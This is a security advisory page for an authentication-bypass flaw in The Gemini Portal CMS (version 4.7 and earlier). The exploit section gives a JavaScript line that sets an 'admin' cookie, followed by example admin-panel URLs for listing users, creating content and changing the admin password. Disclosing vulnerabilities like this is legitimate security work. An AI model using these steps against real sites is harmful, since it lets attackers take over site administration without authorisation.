The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability

2008.09.27

Credit: Pepelux

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-7024

CWE: CWE-264

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program: The Gemini Portal
Version: <= 4.7
File affected: admin/*
Download: http://www.arzdev.com/downloads/1/Gemini


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


<em class="quotelev2">>> Program description (by the author website) <<</em>

The Gemini Portal 4 is the most scalable, dynamic, and powerful content
management system there is. It is perfect for large business network services,
to the simple personal web site for use with PHP and MySQL.', 'The Gemini
Portal is a dynamic content management system. It is ideal for any size
community, allowing users, moderators, limited admins, and global admins log
in. Many of the built in pages use the dynamic database file system (ArzFS)
to manipulate files and folders.


<em class="quotelev2">>> Bug <<</em>

You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.


<em class="quotelev2">>> Exploit <<</em>

Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.

First step: javascript:document.cookie = "user=admin"

Second step: navigate by the admin panel adding the parameter '&name=users' in
the navigation bar. Examples:

        to view the main admin panel:
        http://site/admin.php?page=main&name=users

        to list all forums:
        http://site/admin.php?page=forums&name=users

        to post a new forum:
        http://site/admin.php?page=forums&name=users&page=forums&op=newf&fview=Everyone&fpost=Everyone&forumname=WHAT_YOU_WANT&descrip=WHAT_YOU_WANT

        to list articles:
        http://site/admin.php?page=articles&name=users

        to create a new article:
        http://site/admin.php?page=articles&name=users&op=newd&dtitle=WHAT_YOU_WANT&ppcontent=WHAT_YOU_WANT&dfolder=0&category=1&autor=admin

        to list all users:
        http://site/admin.php?page=users&name=users

        to edit the admin profile (you can change the admin password)
        http://site/admin.php?page=users&op=edi&uid=2&name=users

References:

http://xforce.iss.net/xforce/xfdb/45439

http://www.securityfocus.com/bid/31429

http://www.securityfocus.com/archive/1/archive/1/496761/100/0/threaded

http://www.milw0rm.com/exploits/6584

http://secunia.com/advisories/32057

http://osvdb.org/48639

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.